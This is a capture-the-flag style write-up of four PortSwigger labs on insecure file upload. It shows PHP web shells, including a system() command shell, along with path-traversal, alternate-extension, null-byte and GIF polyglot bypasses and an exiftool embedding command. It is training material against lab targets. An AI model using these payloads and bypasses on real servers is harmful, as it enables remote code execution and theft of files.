Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy:
3 Web shell upload via path traversal
This lab demonstrates how attackers can abuse directory traversal vulnerabilities during file upload to place web shells into executable directories, resulting in remote code execution.
4 Web shell upload via extension blacklist bypass
This lab shows how attackers can bypass file extension blacklists by manipulating filenames to evade validation checks, enabling successful web shell uploads.
5 Web shell upload via obfuscated file extension
This lab demonstrates how attackers can craft filenames with obfuscated extensions (using techniques such as Unicode characters, null bytes, or multiple extensions) to bypass file validation mechanisms.
6 Remote code execution via polyglot web shell upload
This lab shows how attackers can craft polyglot files that satisfy multiple file type checks simultaneously, allowing them to upload executable files disguised as safe file types and achieve remote code execution.
LAB 3 - Web shell upload via path traversal
Lab Description :
Solution :
The default credentials that we have are wiener:peter.We login with that credential
Next, I will upload a malicious file with a .php extension. I have named the malicious file myexploit.php.
In the screenshot below, you can see that I have highlighted two important requests captured in Burp Suite:
- The GET request — this reveals the location of the uploaded image on the server.
- The POST request — this is responsible for uploading the
myexploit.phpfile to the server.
To proceed with testing and analysis, I will forward both of these requests to the Repeater tab in Burp Suite. This allows me to modify and resend the requests manually to observe the server’s behavior and confirm if the malicious file upload was successful.
After sending both requests to the Repeater tab in Burp Suite, I renamed them for better clarity and organization.
The POST request, which is responsible for uploading the malicious file (myexploit.php), was renamed to UploadImage. This request is used to interact with the file upload functionality.
The GET request, which is used to view the location of the uploaded file on the server, was renamed to ShowImage. This helps in easily identifying and man
As you can see in the screenshot below, I initially changed the filename to ../exploit.php in an attempt to perform a directory traversal and place the file into the parent directory.
However, simply using ../ may not work, as many web applications sanitize or block forward slashes (/). To bypass this restriction, we need to obfuscate the forward slash by URL encoding it. The encoded value of / is %2f.
Therefore, I modified the filename to ..%2fmyexploit.php. This encoding helps bypass basic filtering and allows us to attempt writing the file in the parent directory, which, in this lab scenario, has executable permissions.
The file I uploaded is named myexploit.php, and it contains the following PHP payload:
<?php echo system($_GET['command']); ?>
Now that our file has been successfully uploaded to the previous directory, we can access it by modifying the URL. Originally, uploaded files are served from the /avatar/ directory. However, since we used a path traversal technique (..%2f) during the upload, our file (myexploit.php) was placed in the parent directory of /avatar/.
Submit the secret to solve the lab.
LAB 4 - Web shell upload via extension blacklist bypass
Lab Description :
Overview:
One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php. However, the practice of blacklisting is inherently flawed, as it’s difficult to account for every possible variation that could be used to execute code.
Attackers can often bypass these blacklists by using lesser-known or alternative extensions that are still interpreted by the server as executable. Examples of such extensions include:
.php5.php7.phtml.shtml.phar.php4.pht
Because web servers like Apache and Nginx may be configured to treat these extensions the same as .php, relying solely on extension blacklisting is an insecure approach to file upload validation.
Solution :
Login as wiener to access the upload functionality.
Upload a .php file with the following payload <?php phpinfo() ?>.`
I have also attempted to bypass the extension blacklist by using a double extension technique, naming the file as phpinfo.jpg.php. This method is commonly used to trick file upload filters that only check the last extension or expect image formats like .jpg or .png.
However, in this case, the server is still blocking the upload, indicating that it is performing more strict validation. It likely checks the entire filename, not just the final extension, and explicitly denies files with any suspicious patterns involving .php.
Now, I have successfully uploaded a file with a .phtml extension by exploiting the file upload vulnerability. The server did not block this extension, which is still treated as executable by many PHP interpreters.
After uploading the malicious .phtml file, I accessed it through the browser. The PHP payload executed successfully, confirming that code execution was achieved.
Then, I changed the payload to the following:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Result
I then copied the key and sumbit it, the lab is successfully solved.
LAB 5 - Web shell upload via obfuscated file extension
Lab Description :
Solution :
Lab Goal
Read the contents of /home/carlos/secret by uploading and executing a malicious PHP file through the avatar upload feature.
Login
Log in with the provided credentials.
1. Malicious PHP Payload
We will use this simple one-liner PHP script to read and display the secret file:
<?php echo file_get_contents('/home/carlos/secret'); ?>
This uses file_get_contents() to read /home/carlos/secret and outputs the result directly.
2. Understand Normal Upload Behavior
Before trying the malicious file, upload a normal image to understand how the server handles files.
- Go to My account → Upload any real image (e.g. a screenshot)
- Observe the success message
In Burp Suite:
- Proxy → HTTP history → Filter → make sure Images is checked
Successful upload:
- Find the
POST /my-account/avatarrequest → Right-click → Send to Repeater (Ctrl+R)
- Go back to the site → Back to my account → see your image loaded
- In Burp, find the corresponding
GET /files/avatars/...request → also send to Repeater
Now we know:
- Upload endpoint:
POST /my-account/avatar - Files are served from:
/files/avatars/<filename>
3. Attempt to Upload Malicious File
Try uploading our exploit.php file directly → blocked.
4. Bypassing the Filter
Failed Attempts
- Double extension:
phpinfo.jpg.php→ blocked
exploit.php%20.jpg(space) → also blocked
Successful Bypass: Null Byte Injection
Change the filename in the POST request to:
filename="exploit.php%00.jpg"
%00= null byte (\0)- Validation sees: ends with
.jpg→ allowed - Filesystem sees:
exploit.php(stops at null byte)
Why it works
| Technique | What server validation sees | What filesystem sees | Result |
|---|---|---|---|
| exploit.php | ends with .php | exploit.php | Blocked |
| exploit.php.jpg | ends with .jpg | exploit.php.jpg | Blocked |
| exploit.php%00.jpg | ends with .jpg | exploit.php (stops at \0) | Allowed & executable |
5. Execute the Webshell
Use the same GET /files/avatars/... request pattern from earlier.
Change the filename to:
GET /files/avatars/exploit.php HTTP/1.1
Send the request → you should see the contents of /home/carlos/secret in the response.
Copy the secret key.
6. Solve the Lab
Paste the key into the solution submission box → lab solved!
LAB 6 - Remote code execution via polyglot web shell upload
Lab Description :
Solution :
In this lab, we are exploiting a Remote Code Execution (RCE) vulnerability through an insecure file upload function. Despite any basic protections in place, we are still able to upload files and execute our code on the server-side. The main objective is to upload a PHP web shell and access the /home/carlos/secret file in order to obtain the key and solve the lab.
Step 1: Upload a Basic PHP File
To begin testing the server’s behavior, we first upload a simple PHP file named phpinfo.php with the following content:
<?
php phpinfo();
?>
To bypass this, I changed the filename from phpinfo.php to phpinfo.jpg in an attempt to trick the file extension filter. However, this approach also failed, indicating that the server is performing additional validation checks — possibly analyzing the file content (MIME type) or blocking known file signature patterns associated with PHP.
This confirms that basic extension spoofing alone is not sufficient to bypass the upload restrictions in this scenario.
Now, go to Google and search for “magic number image search.” copy jpeg but failed to upload jpeg
Next, search for GIF on the wiki website and copy its magic characters.
As you can see, the server accepted the GIF magic bytes, allowing us to bypass its file upload security mechanisms. By placing the correct magic number at the beginning of the file (i.e., GIF89a), we made the server believe that the uploaded file was a legitimate image, even though it contained embedded PHP code.
To exploit this, I crafted a file starting with the GIF header, followed by the PHP payload:
GIF89a
<?php echo file_get_contents('/home/carlos/secret'); ?>
Result:
💡 Note: We can also use
exiftoolto embed our PHP payload into an image file as a comment, creating a polyglot file — one that appears to be a valid image but is also executable PHP code.
To do this, we use the following command:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.png -o polyglot.php
Submit the key to solve the lab.